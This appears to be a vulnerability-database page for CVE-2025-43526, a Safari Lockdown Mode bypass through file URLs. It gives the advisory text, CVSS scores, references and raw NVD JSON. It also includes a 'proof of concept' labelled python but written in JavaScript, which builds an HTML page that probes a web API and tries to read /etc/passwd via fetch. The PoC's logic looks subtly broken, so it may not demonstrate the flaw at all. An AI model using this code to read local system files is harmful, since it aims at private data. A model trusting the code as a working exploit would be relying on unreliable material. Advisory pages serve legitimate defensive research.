CVE-2025-43526

Description

This issue was addressed with improved URL validation. This issue is fixed in Safari 26.2, macOS Tahoe 26.2. On a Mac with Lockdown Mode enabled, web content opened via a file URL may be able to use Web APIs that should be restricted.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:apple:safari:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE

Safari < 26.2

macOS Tahoe < 26.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-43526 Proof of Concept
// Target: Safari with Lockdown Mode enabled
// Description: Bypass Lockdown Mode restrictions using file:// URL

// Create a malicious HTML file that exploits the URL validation vulnerability
const pocHtml = `
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-43526 PoC</title>
</head>
<body>
    <h1>CVE-2025-43526 Lockdown Mode Bypass PoC</h1>
    <p>This PoC demonstrates accessing restricted Web APIs via file:// URL in Lockdown Mode.</p>
    <div id="results"></div>
    
    <script>
        // Check if Lockdown Mode is active
        function checkLockdownMode() {
            try {
                // Attempt to access normally restricted API
                // In normal Lockdown Mode, this should throw an error
                const testAccess = navigator.storage;
                document.getElementById('results').innerHTML += '<p>API Access: ALLOWED (Vulnerable)</p>';
                return true;
            } catch (e) {
                document.getElementById('results').innerHTML += '<p>API Access: BLOCKED (Secure)</p>';
                return false;
            }
        }
        
        // Try to read local file using fetch with file:// protocol
        async function exploitFileAccess() {
            try {
                // This should be blocked in proper Lockdown Mode implementation
                const response = await fetch('file:///etc/passwd');
                if (response.ok) {
                    const text = await response.text();
                    document.getElementById('results').innerHTML += '<p>Local File Access: SUCCESS (Vulnerable)</p>';
                    return true;
                }
            } catch (e) {
                document.getElementById('results').innerHTML += '<p>Local File Access: BLOCKED</p>';
            }
            return false;
        }
        
        // Execute checks
        checkLockdownMode();
        exploitFileAccess();
    </script>
</body>
</html>
`;

// To use this PoC:
// 1. Save the HTML content above as exploit.html
// 2. Open the file in Safari with Lockdown Mode enabled
// 3. Observe that restricted APIs are accessible

console.log('CVE-2025-43526 PoC generated');

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-43526
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-43526
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-43526/
[4] VulDB https://vuldb.com/cve/CVE-2025-43526
[5] https://support.apple.com/en-us/125886
[6] https://support.apple.com/en-us/125892

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-43526", "sourceIdentifier": "[email protected]", "published": "2025-12-17T21:16:11.323", "lastModified": "2026-04-02T19:20:59.720", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "This issue was addressed with improved URL validation. This issue is fixed in Safari 26.2, macOS Tahoe 26.2. On a Mac with Lockdown Mode enabled, web content opened via a file URL may be able to use Web APIs that should be restricted."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-601"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apple:safari:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2", "matchCriteriaId": "3ECBF838-536C-47F9-9876-C526B8ED32EC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2", "matchCriteriaId": "FBA92B6D-E36C-432B-A041-94D81427CD75"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125886", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125892", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}